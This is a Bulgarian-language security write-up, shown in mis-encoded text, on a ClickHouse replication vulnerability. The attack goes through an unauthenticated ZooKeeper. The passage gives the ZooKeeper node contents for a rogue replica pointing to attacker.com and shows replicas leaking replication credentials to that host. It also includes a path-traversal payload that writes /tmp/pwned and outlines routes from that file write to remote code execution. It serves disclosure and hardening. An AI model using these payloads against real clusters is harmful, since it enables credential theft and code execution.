Π’Π°Π·ΠΈ ΡΡΠ°ΡΠΈΡ ΡΠ΅ ΡΠ°Π·ΠΊΠ°ΠΆΠ΅ ΠΈΡΡΠΎΡΠΈΡΡΠ° Π½Π° Π΅Π΄Π½Π° ΠΌΠ½ΠΎΠ³ΠΎ ΡΠΏΠ΅ΡΠΈΡΠΈΡΠ½Π° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡ Π² ΠΏΡΠΎΡΠΎΠΊΠΎΠ»Π° Π·Π° ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡ Π½Π° ClickHouse ΠΈ ΡΡΡΠΎ ΡΠ°ΠΊΠ° ΡΠ΅ ΠΏΠΎΠΊΠ°ΠΆΠ΅ ΠΊΠ°ΠΊ ΠΏΠΎΠ²ΡΡΡ Π½ΠΎΡΡΡΠ° Π·Π° Π°ΡΠ°ΠΊΠ° ΠΌΠΎΠΆΠ΅ Π΄Π° Π±ΡΠ΄Π΅ ΡΠ°Π·ΡΠΈΡΠ΅Π½Π°.
ClickHouse Π΅ Π±Π°Π·Π° Π΄Π°Π½Π½ΠΈ Π·Π° ΡΡΡ
ΡΠ°Π½Π΅Π½ΠΈΠ΅ Π½Π° Π³ΠΎΠ»Π΅ΠΌΠΈ ΠΎΠ±Π΅ΠΌΠΈ Π΄Π°Π½Π½ΠΈ, ΠΊΠ°ΡΠΎ Π½Π°ΠΉ-ΡΠ΅ΡΡΠΎ ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° ΠΏΠΎΠ²Π΅ΡΠ΅ ΠΎΡ Π΅Π΄Π½Π° ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°. ΠΠ»ΡΡΡΠ΅ΡΠΈΡΠ°Π½Π΅ΡΠΎ ΠΈ ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΡΠ° Π² ClickHouse ΡΠ° ΠΈΠ·Π³ΡΠ°Π΄Π΅Π½ΠΈ ΠΎΡΠ³ΠΎΡΠ΅
ZK ΠΈΠ½ΡΡΠ°Π»Π°ΡΠΈΡΡΠ° ΠΏΠΎ ΠΏΠΎΠ΄ΡΠ°Π·Π±ΠΈΡΠ°Π½Π΅ Π½Π΅ ΠΈΠ·ΠΈΡΠΊΠ²Π° ΡΠ΄ΠΎΡΡΠΎΠ²Π΅ΡΡΠ²Π°Π½Π΅, ΡΠ°ΠΊΠ° ΡΠ΅ Ρ ΠΈΠ»ΡΠ΄ΠΈ ZK ΡΡΡΠ²ΡΡΠΈ, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ΠΈ Π·Π° ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠΈΡΠ°Π½Π΅ Π½Π° Kafka, Hadoop, ClickHouse, ΡΠ° ΠΏΡΠ±Π»ΠΈΡΠ½ΠΎ Π΄ΠΎΡΡΡΠΏΠ½ΠΈ.
ΠΠ° Π΄Π° Π½Π°ΠΌΠ°Π»ΠΈΡΠ΅ ΠΏΠΎΠ²ΡΡΡ Π½ΠΎΡΡΡΠ° ΡΠΈ Π·Π° Π°ΡΠ°ΠΊΠ°, Π²ΠΈΠ½Π°Π³ΠΈ ΡΡΡΠ±Π²Π° Π΄Π° ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠΈΡΠ°ΡΠ΅ ΡΠ΄ΠΎΡΡΠΎΠ²Π΅ΡΡΠ²Π°Π½Π΅ ΠΈ ΠΎΡΠΎΡΠΈΠ·Π°ΡΠΈΡ, ΠΊΠΎΠ³Π°ΡΠΎ ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°ΡΠ΅ ZooKeeper
Π Π°Π·Π±ΠΈΡΠ° ΡΠ΅, ΠΈΠΌΠ° Π½ΡΠΊΠΎΠΈ Π±Π°Π·ΠΈΡΠ°Π½ΠΈ Π½Π° 0 Π΄Π½ΠΈ Π΄Π΅ΡΠ΅ΡΠΈΠ°Π»ΠΈΠ·Π°ΡΠΈΠΈ Π½Π° Java, Π½ΠΎ ΡΠΈ ΠΏΡΠ΅Π΄ΡΡΠ°Π²Π΅ΡΠ΅, ΡΠ΅ Π°ΡΠ°ΠΊΡΠ²Π°Ρ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ΡΠ΅ ΠΈ ΠΏΠΈΡΠ΅ Π² ZooKeeper, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ Π·Π° ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡ Π½Π° ClickHouse.
ΠΠΎΠ³Π°ΡΠΎ Π΅ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠΈΡΠ°Π½ Π² ΠΊΠ»ΡΡΡΠ΅ΡΠ΅Π½ ΡΠ΅ΠΆΠΈΠΌ, ClickHouse ΠΏΠΎΠ΄Π΄ΡΡΠΆΠ° ΡΠ°Π·ΠΏΡΠ΅Π΄Π΅Π»Π΅Π½ΠΈ Π·Π°ΡΠ²ΠΊΠΈ /clickhouse/task_queue/ddl
.
ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ ΡΡΠ·Π΄Π°Π²Π°ΡΠ΅ Π²ΡΠ·Π΅Π» /clickhouse/task_queue/ddl/query-0001
ΡΡΡ ΡΡΠ΄ΡΡΠΆΠ°Π½ΠΈΠ΅:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
ΠΈ ΡΠ»Π΅Π΄ ΡΠΎΠ²Π° ΡΠ΅ΡΡΠΎΠ²Π°ΡΠ° ΡΠ°Π±Π»ΠΈΡΠ° ΡΠ΅ Π±ΡΠ΄Π΅ ΠΈΠ·ΡΡΠΈΡΠ° Π½Π° ΠΊΠ»ΡΡΡΠ΅ΡΠ½ΠΈΡΠ΅ ΡΡΡΠ²ΡΡΠΈ host1 ΠΈ host2. DDL ΡΡΡΠΎ ΠΏΠΎΠ΄Π΄ΡΡΠΆΠ° ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ Π½Π° CREATE/ALTER/DROP Π·Π°ΡΠ²ΠΊΠΈ.
ΠΠ²ΡΡΠΈ ΡΡΡΠ°ΡΠ½ΠΎ? ΠΠΎ ΠΎΡΠΊΡΠ΄Π΅ Π΅Π΄ΠΈΠ½ Π½Π°ΠΏΠ°Π΄Π°ΡΠ΅Π» ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΏΠΎΠ»ΡΡΠΈ ΡΡΡΠ²ΡΡΠ½ΠΈ Π°Π΄ΡΠ΅ΡΠΈ?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
ΡΠ΅ Π±ΡΠ΄Π°Ρ ΡΡΠ·Π΄Π°Π΄Π΅Π½ΠΈ Π²ΡΠ·Π»ΠΈ ΠΊΠΎΠ»ΠΎΠ½ΠΈ ΠΈ ΠΌΠ΅ΡΠ°Π΄Π°Π½Π½ΠΈ.
ΡΡΠ΄ΡΡΠΆΠ°Π½ΠΈΠ΅ /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
ΠΡΠ·ΠΌΠΎΠΆΠ½ΠΎ Π»ΠΈ Π΅ ΠΎΠ±Π΅Π΄ΠΈΠ½ΡΠ²Π°Π½Π΅ Π½Π° Π΄Π°Π½Π½ΠΈ ΠΎΡ ΡΠΎΠ·ΠΈ ΠΊΠ»ΡΡΡΠ΅Ρ? ΠΠ°, Π°ΠΊΠΎ ΠΏΠΎΡΡΡΡ Π·Π° ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡ (TCP/9009
) Π½Π° ΡΡΡΠ²ΡΡΠ° chXX-address
Π·Π°ΡΠΈΡΠ½Π°ΡΠ° ΡΡΠ΅Π½Π° Π½ΡΠΌΠ° Π΄Π° Π±ΡΠ΄Π΅ Π·Π°ΡΠ²ΠΎΡΠ΅Π½Π° ΠΈ ΡΠ΄ΠΎΡΡΠΎΠ²Π΅ΡΡΠ²Π°Π½Π΅ΡΠΎ Π·Π° ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡ Π½ΡΠΌΠ° Π΄Π° Π±ΡΠ΄Π΅ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠΈΡΠ°Π½ΠΎ. ΠΠ°ΠΊ Π΄Π° Π·Π°ΠΎΠ±ΠΈΠΊΠΎΠ»Ρ ΡΠ΄ΠΎΡΡΠΎΠ²Π΅ΡΡΠ²Π°Π½Π΅ΡΠΎ?
ΠΠ°ΠΏΠ°Π΄Π°ΡΠ΅Π»ΡΡ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΡΠ·Π΄Π°Π΄Π΅ Π½ΠΎΠ²Π° ΡΠ΅ΠΏΠ»ΠΈΠΊΠ° Π² ZK, ΠΊΠ°ΡΠΎ ΠΏΡΠΎΡΡΠΎ ΠΊΠΎΠΏΠΈΡΠ° ΡΡΠ΄ΡΡΠΆΠ°Π½ΠΈΠ΅ΡΠΎ ΠΎΡ /clickhouse/tables/01-01/foobar/replicas/chXX
ΠΈ ΠΏΡΠΎΠΌΡΠ½Π° Π½Π° ΡΠΌΠΈΡΡΠ»Π° host
.
ΡΡΠ΄ΡΡΠΆΠ°Π½ΠΈΠ΅ /clickhouse/tables/01β01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Π‘Π»Π΅Π΄ ΡΠΎΠ²Π° ΡΡΡΠ±Π²Π° Π΄Π° ΠΊΠ°ΠΆΠ΅ΡΠ΅ Π½Π° Π΄ΡΡΠ³ΠΈΡΠ΅ ΡΠ΅ΠΏΠ»ΠΈΠΊΠΈ, ΡΠ΅ ΠΈΠΌΠ° Π½ΠΎΠ² Π±Π»ΠΎΠΊ ΠΎΡ Π΄Π°Π½Π½ΠΈ Π½Π° ΡΡΡΠ²ΡΡΠ° Π½Π° Π°ΡΠ°ΠΊΡΠ²Π°ΡΠΈΡ, ΠΊΠΎΠΉΡΠΎ ΡΠ΅ ΡΡΡΠ±Π²Π° Π΄Π° Π²Π·Π΅ΠΌΠ°Ρ - ΡΡΠ·Π΄Π°Π²Π° ΡΠ΅ Π²ΡΠ·Π΅Π» Π² ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX ΠΌΠΎΠ½ΠΎΡΠΎΠ½Π½ΠΎ Π½Π°ΡΠ°ΡΡΠ²Π°Ρ Π±ΡΠΎΡΡ, ΠΊΠΎΠΉΡΠΎ ΡΡΡΠ±Π²Π° Π΄Π° Π΅ ΠΏΠΎ-Π³ΠΎΠ»ΡΠΌ ΠΎΡ ΠΏΠΎΡΠ»Π΅Π΄Π½ΠΈΡ Π² ΡΠ΅Π³ΠΈΡΡΡΡΠ° Π½Π° ΡΡΠ±ΠΈΡΠΈΡΡΠ°):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
ΠΊΡΠ΄Π΅ΡΠΎ ΠΈΠ·ΡΠΎΡΠ½ΠΈΠΊ_ΡΠ΅ΠΏΠ»ΠΈΠΊΠ° β ΠΈΠΌΠ΅ΡΠΎ Π½Π° ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠ° Π½Π° Π½Π°ΠΏΠ°Π΄Π°ΡΠ΅Π»Ρ, ΡΡΠ·Π΄Π°Π΄Π΅Π½Π° Π² ΠΏΡΠ΅Π΄ΠΈΡΠ½Π°ΡΠ° ΡΡΡΠΏΠΊΠ°, block_id β ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΎΡ Π½Π° Π±Π»ΠΎΠΊ Π΄Π°Π½Π½ΠΈ, ΠΏΠΎΠ»ΡΡΠ°Π²Π°ΠΌ - ΠΊΠΎΠΌΠ°Π½Π΄Π° "get block" (ΠΈ
Π‘Π»Π΅Π΄ ΡΠΎΠ²Π° Π²ΡΡΠΊΠ° ΡΠ΅ΠΏΠ»ΠΈΠΊΠ° ΡΠ΅ΡΠ΅ Π½ΠΎΠ²ΠΎ ΡΡΠ±ΠΈΡΠΈΠ΅ Π² Π΄Π½Π΅Π²Π½ΠΈΠΊΠ° ΠΈ ΠΎΡΠΈΠ²Π° Π½Π° ΡΡΡΠ²ΡΡ, ΠΊΠΎΠ½ΡΡΠΎΠ»ΠΈΡΠ°Π½ ΠΎΡ Π°ΡΠ°ΠΊΡΠ²Π°ΡΠΈΡ, Π·Π° Π΄Π° ΠΏΠΎΠ»ΡΡΠΈ Π±Π»ΠΎΠΊ ΠΎΡ Π΄Π°Π½Π½ΠΈ (ΠΏΡΠΎΡΠΎΠΊΠΎΠ»ΡΡ Π·Π° ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡ Π΅ Π΄Π²ΠΎΠΈΡΠ΅Π½, ΡΠ°Π±ΠΎΡΠΈ Π²ΡΡΡ
Ρ HTTP). ΡΡΡΠ²ΡΡ attacker.com
ΡΠ΅ ΠΏΠΎΠ»ΡΡΠ°Π²Π° Π·Π°ΡΠ²ΠΊΠΈ:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
ΠΊΡΠ΄Π΅ΡΠΎ XXX ΡΠ° Π΄Π°Π½Π½ΠΈΡΠ΅ Π·Π° ΡΠ΄ΠΎΡΡΠΎΠ²Π΅ΡΡΠ²Π°Π½Π΅ Π·Π° ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡ. Π Π½ΡΠΊΠΎΠΈ ΡΠ»ΡΡΠ°ΠΈ ΡΠΎΠ²Π° ΠΌΠΎΠΆΠ΅ Π΄Π° Π΅ Π°ΠΊΠ°ΡΠ½Ρ Ρ Π΄ΠΎΡΡΡΠΏ Π΄ΠΎ Π±Π°Π·Π°ΡΠ° Π΄Π°Π½Π½ΠΈ ΡΡΠ΅Π· ΠΎΡΠ½ΠΎΠ²Π½ΠΈΡ ΠΏΡΠΎΡΠΎΠΊΠΎΠ» ClickHouse ΠΈ HTTP ΠΏΡΠΎΡΠΎΠΊΠΎΠ»Π°. ΠΠ°ΠΊΡΠΎ Π²ΠΈΠ΄ΡΡ ΡΠ΅, ΠΏΠΎΠ²ΡΡΡ Π½ΠΎΡΡΡΠ° Π·Π° Π°ΡΠ°ΠΊΠ° ΡΡΠ°Π²Π° ΠΊΡΠΈΡΠΈΡΠ½ΠΎ Π³ΠΎΠ»ΡΠΌΠ°, Π·Π°ΡΠΎΡΠΎ ZooKeeper, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ Π·Π° ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡ, Π΅ ΠΎΡΡΠ°Π²Π΅Π½ Π±Π΅Π· ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠΈΡΠ°Π½ΠΎ ΡΠ΄ΠΎΡΡΠΎΠ²Π΅ΡΡΠ²Π°Π½Π΅.
ΠΠ΅ΠΊΠ° Π΄Π° ΡΠ°Π·Π³Π»Π΅Π΄Π°ΠΌΠ΅ ΡΡΠ½ΠΊΡΠΈΡΡΠ° Π·Π° ΠΏΠΎΠ»ΡΡΠ°Π²Π°Π½Π΅ Π½Π° Π±Π»ΠΎΠΊ Π΄Π°Π½Π½ΠΈ ΠΎΡ ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°, Π½Π°ΠΏΠΈΡΠ°Π½ΠΎ Π΅ Ρ ΠΏΡΠ»Π½Π° ΡΠ²Π΅ΡΠ΅Π½ΠΎΡΡ, ΡΠ΅ Π²ΡΠΈΡΠΊΠΈ ΡΠ΅ΠΏΠ»ΠΈΠΊΠΈ ΡΠ° ΠΏΠΎΠ΄ ΠΏΠΎΠ΄Ρ ΠΎΠ΄ΡΡ ΠΊΠΎΠ½ΡΡΠΎΠ» ΠΈ ΠΈΠΌΠ° Π΄ΠΎΠ²Π΅ΡΠΈΠ΅ ΠΌΠ΅ΠΆΠ΄Ρ ΡΡΡ .
ΠΊΠΎΠ΄ Π·Π° ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠ° Π½Π° ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡ
Π€ΡΠ½ΠΊΡΠΈΡΡΠ° ΡΠ΅ΡΠ΅ ΡΠΏΠΈΡΡΠΊ Ρ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅, ΡΠ»Π΅Π΄ ΡΠΎΠ²Π° ΡΠ΅Ρ Π½ΠΈΡΠ΅ ΠΈΠΌΠ΅Π½Π°, ΡΠ°Π·ΠΌΠ΅ΡΠΈ, ΡΡΠ΄ΡΡΠΆΠ°Π½ΠΈΠ΅ ΠΈ ΡΠ»Π΅Π΄ ΡΠΎΠ²Π° Π³ΠΈ Π·Π°ΠΏΠΈΡΠ²Π° Π²ΡΠ² ΡΠ°ΠΉΠ»ΠΎΠ²Π°ΡΠ° ΡΠΈΡΡΠ΅ΠΌΠ°. Π‘ΡΡΡΠ²Π° ΡΠΈ Π΄Π° ΡΠ΅ ΠΎΠΏΠΈΡΠ΅ ΠΎΡΠ΄Π΅Π»Π½ΠΎ ΠΊΠ°ΠΊ ΡΠ΅ ΡΡΡ ΡΠ°Π½ΡΠ²Π°Ρ Π΄Π°Π½Π½ΠΈΡΠ΅ Π²ΡΠ² ΡΠ°ΠΉΠ»ΠΎΠ²Π°ΡΠ° ΡΠΈΡΡΠ΅ΠΌΠ°.
ΠΠΌΠ° Π½ΡΠΊΠΎΠ»ΠΊΠΎ ΠΏΠΎΠ΄Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΠΈ Π² /var/lib/clickhouse
(Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ Π·Π° ΡΡΡ
ΡΠ°Π½Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΠΏΠΎΠ΄ΡΠ°Π·Π±ΠΈΡΠ°Π½Π΅ ΠΎΡ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΎΠ½Π½ΠΈΡ ΡΠ°ΠΉΠ»):
Π·Π½Π°ΠΌΠ΅Π½Π° - Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ Π·Π° Π·Π°ΠΏΠΈΡ
TMP β Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ Π·Π° ΡΡΡ
ΡΠ°Π½Π΅Π½ΠΈΠ΅ Π½Π° Π²ΡΠ΅ΠΌΠ΅Π½Π½ΠΈ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅;
ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΡΠΊΠΈ_ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ β ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΈΡΠ΅ Ρ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ Π² Π·Π°ΡΠ²ΠΊΠΈΡΠ΅ ΡΠ° ΠΎΠ³ΡΠ°Π½ΠΈΡΠ΅Π½ΠΈ Π΄ΠΎ ΡΠ°Π·ΠΈ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ (INTO OUTFILE ΠΈ Π΄ΡΡΠ³ΠΈ);
ΠΌΠ΅ΡΠ°Π΄Π°Π½Π½ΠΈ β sql ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ Ρ ΠΎΠΏΠΈΡΠ°Π½ΠΈΡ Π½Π° ΡΠ°Π±Π»ΠΈΡΠΈ;
preprocessed_configs - ΠΎΠ±ΡΠ°Π±ΠΎΡΠ΅Π½ΠΈ ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ΄Π½ΠΈ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΎΠ½Π½ΠΈ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ ΠΎΡ /etc/clickhouse-server
;
Π΄Π°Π½Π½ΠΈ - Π΄Π΅ΠΉΡΡΠ²ΠΈΡΠ΅Π»Π½Π°ΡΠ° Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ ΡΡΡ ΡΠ°ΠΌΠΈΡΠ΅ Π΄Π°Π½Π½ΠΈ, Π² ΡΠΎΠ·ΠΈ ΡΠ»ΡΡΠ°ΠΉ Π·Π° Π²ΡΡΠΊΠ° Π±Π°Π·Π° Π΄Π°Π½Π½ΠΈ ΡΡΠΊ ΠΏΡΠΎΡΡΠΎ ΡΠ΅ ΡΡΠ·Π΄Π°Π²Π° ΠΎΡΠ΄Π΅Π»Π½Π° ΠΏΠΎΠ΄Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ (Π½Π°ΠΏΡ. /var/lib/clickhouse/data/default
).
ΠΠ° Π²ΡΡΠΊΠ° ΡΠ°Π±Π»ΠΈΡΠ° ΡΠ΅ ΡΡΠ·Π΄Π°Π²Π° ΠΏΠΎΠ΄Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ Π² Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΡΠ° Π½Π° Π±Π°Π·Π°ΡΠ° Π΄Π°Π½Π½ΠΈ. ΠΡΡΠΊΠ° ΠΊΠΎΠ»ΠΎΠ½Π° Π΅ ΠΎΡΠ΄Π΅Π»Π΅Π½ ΡΠ°ΠΉΠ» Π² Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡ ΠΎΡ
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Π Π΅ΠΏΠ»ΠΈΠΊΠ°ΡΠ° ΠΎΡΠ°ΠΊΠ²Π° Π΄Π° ΠΏΠΎΠ»ΡΡΠΈ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ ΡΡΡ ΡΡΡΠΈΡΠ΅ ΠΈΠΌΠ΅Π½Π°, ΠΊΠΎΠ³Π°ΡΠΎ ΠΎΠ±ΡΠ°Π±ΠΎΡΠ²Π° Π±Π»ΠΎΠΊ ΠΎΡ Π΄Π°Π½Π½ΠΈ ΠΈ Π½Π΅ Π³ΠΈ Π²Π°Π»ΠΈΠ΄ΠΈΡΠ° ΠΏΠΎ Π½ΠΈΠΊΠ°ΠΊΡΠ² Π½Π°ΡΠΈΠ½.
ΠΠ½ΠΈΠΌΠ°ΡΠ΅Π»Π½ΠΈΡΡ ΡΠΈΡΠ°ΡΠ΅Π» Π²Π΅ΡΠΎΡΡΠ½ΠΎ Π²Π΅ΡΠ΅ Π΅ ΡΡΠ²Π°Π» Π·Π° ΠΎΠΏΠ°ΡΠ½Π°ΡΠ° ΠΊΠΎΠ½ΠΊΠ°ΡΠ΅Π½Π°ΡΠΈΡ Π½Π° file_name Π²ΡΠ² ΡΡΠ½ΠΊΡΠΈΡ WriteBufferFromFile
. ΠΠ°, ΡΠΎΠ²Π° ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ²Π° Π½Π° Π°ΡΠ°ΠΊΡΠ²Π°Ρ Π΄Π° Π½Π°ΠΏΠΈΡΠ΅ ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ»Π½ΠΎ ΡΡΠ΄ΡΡΠΆΠ°Π½ΠΈΠ΅ Π²ΡΠ² Π²ΡΠ΅ΠΊΠΈ ΡΠ°ΠΉΠ» Π½Π° FS Ρ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΡΠΊΠΈ ΠΏΡΠ°Π²Π° clickhouse
. ΠΠ° Π΄Π° Π½Π°ΠΏΡΠ°Π²ΠΈΡΠ΅ ΡΠΎΠ²Π°, ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠ°, ΠΊΠΎΠ½ΡΡΠΎΠ»ΠΈΡΠ°Π½Π° ΠΎΡ Π°ΡΠ°ΠΊΡΠ²Π°ΡΠΈΡ, ΡΡΡΠ±Π²Π° Π΄Π° Π²ΡΡΠ½Π΅ ΡΠ»Π΅Π΄Π½ΠΈΡ ΠΎΡΠ³ΠΎΠ²ΠΎΡ Π½Π° Π·Π°ΡΠ²ΠΊΠ°ΡΠ° (Π·Π° ΠΏΠΎ-Π»Π΅ΡΠ½ΠΎ ΡΠ°Π·Π±ΠΈΡΠ°Π½Π΅ ΡΠ° Π΄ΠΎΠ±Π°Π²Π΅Π½ΠΈ Π½ΠΎΠ²ΠΈ ΡΠ΅Π΄ΠΎΠ²Π΅):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
ΠΈ ΡΠ»Π΅Π΄ ΠΊΠΎΠ½ΠΊΠ°ΡΠ΅Π½Π°ΡΠΈΡ ../../../../../../../../../tmp/pwned
ΡΠ°ΠΉΠ»ΡΡ ΡΠ΅ Π±ΡΠ΄Π΅ Π·Π°ΠΏΠΈΡΠ°Π½ /tmp/pwned ΡΡΡ ΡΡΠ΄ΡΡΠΆΠ°Π½ΠΈΠ΅ hellofromzookeeper.
ΠΠΌΠ° Π½ΡΠΊΠΎΠ»ΠΊΠΎ ΠΎΠΏΡΠΈΠΈ Π·Π° ΠΏΡΠ΅Π²ΡΡΡΠ°Π½Π΅ Π½Π° Π²ΡΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΡΠ° Π·Π° ΠΏΠΈΡΠ°Π½Π΅ Π½Π° ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ Π² Π΄ΠΈΡΡΠ°Π½ΡΠΈΠΎΠ½Π½ΠΎ ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ Π½Π° ΠΊΠΎΠ΄ (RCE).
ΠΡΠ½ΡΠ½ΠΈ ΡΠ΅ΡΠ½ΠΈΡΠΈ Π² RCE
Π ΠΏΠΎ-ΡΡΠ°ΡΠΈΡΠ΅ Π²Π΅ΡΡΠΈΠΈ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΡΠ° Ρ Π½Π°ΡΡΡΠΎΠΉΠΊΠΈΡΠ΅ Π½Π° ClickHouse ΡΠ΅ ΡΡΡ
ΡΠ°Π½ΡΠ²Π°ΡΠ΅ Ρ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΡΠΊΠΈ ΠΏΡΠ°Π²Π° clickhouse ΠΏΠΎ ΠΏΠΎΠ΄ΡΠ°Π·Π±ΠΈΡΠ°Π½Π΅. Π€Π°ΠΉΠ»ΠΎΠ²Π΅ΡΠ΅ Ρ Π½Π°ΡΡΡΠΎΠΉΠΊΠΈ ΡΠ° XML ΡΠ°ΠΉΠ»ΠΎΠ²Π΅, ΠΊΠΎΠΈΡΠΎ ΡΡΠ»ΡΠ³Π°ΡΠ° ΡΠ΅ΡΠ΅ ΠΏΡΠΈ ΡΡΠ°ΡΡΠΈΡΠ°Π½Π΅ ΠΈ ΡΠ»Π΅Π΄ ΡΠΎΠ²Π° ΠΊΠ΅ΡΠΈΡΠ° /var/lib/clickhouse/preprocessed_configs
. ΠΠΎΠ³Π°ΡΠΎ Π½Π°ΡΡΡΠΏΡΡ ΠΏΡΠΎΠΌΠ΅Π½ΠΈ, ΡΠ΅ ΡΠ΅ ΠΏΡΠ΅ΠΏΡΠΎΡΠΈΡΠ°Ρ. ΠΠΊΠΎ ΠΈΠΌΠ°ΡΠ΅ Π΄ΠΎΡΡΡΠΏ Π΄ΠΎ /etc/clickhouse-server
Π½Π°ΠΏΠ°Π΄Π°ΡΠ΅Π»ΡΡ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΡΠ·Π΄Π°Π΄Π΅ ΡΠ²ΠΎΠΉ ΡΠΎΠ±ΡΡΠ²Π΅Π½ root
.
ODBC ΠΊΡΠΌ RCE
ΠΡΠΈ ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°Π½Π΅ Π½Π° ΠΏΠ°ΠΊΠ΅Ρ ΡΠ΅ ΡΡΠ·Π΄Π°Π²Π° ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π» clickhouse
, Π½ΠΎ Π½Π°ΡΠ°Π»Π½Π°ΡΠ° ΠΌΡ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ Π½Π΅ Π΅ ΡΡΠ·Π΄Π°Π΄Π΅Π½Π° /nonexistent
. ΠΡΠΏΡΠ΅ΠΊΠΈ ΡΠΎΠ²Π°, ΠΊΠΎΠ³Π°ΡΠΎ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΡΠ΅ Π²ΡΠ½ΡΠ½ΠΈ ΡΠ΅ΡΠ½ΠΈΡΠΈ ΠΈΠ»ΠΈ ΠΏΠΎ Π΄ΡΡΠ³ΠΈ ΠΏΡΠΈΡΠΈΠ½ΠΈ, Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠΈΡΠ΅ ΡΡΠ·Π΄Π°Π²Π°Ρ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ /nonexistent
ΠΈ Π΄Π°Π²Π°Ρ Π½Π° ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»Ρ clickhouse
Π΄ΠΎΡΡΡΠΏ Π·Π° ΠΏΠΈΡΠ°Π½Π΅ Π² Π½Π΅Π³ΠΎ (SSZB! ΠΏΡΠΈΠ±Π». ΠΏΡΠ΅Π²ΠΎΠ΄Π°Ρ).
ClickHouse ΠΏΠΎΠ΄Π΄ΡΡΠΆΠ° odbc-bridge
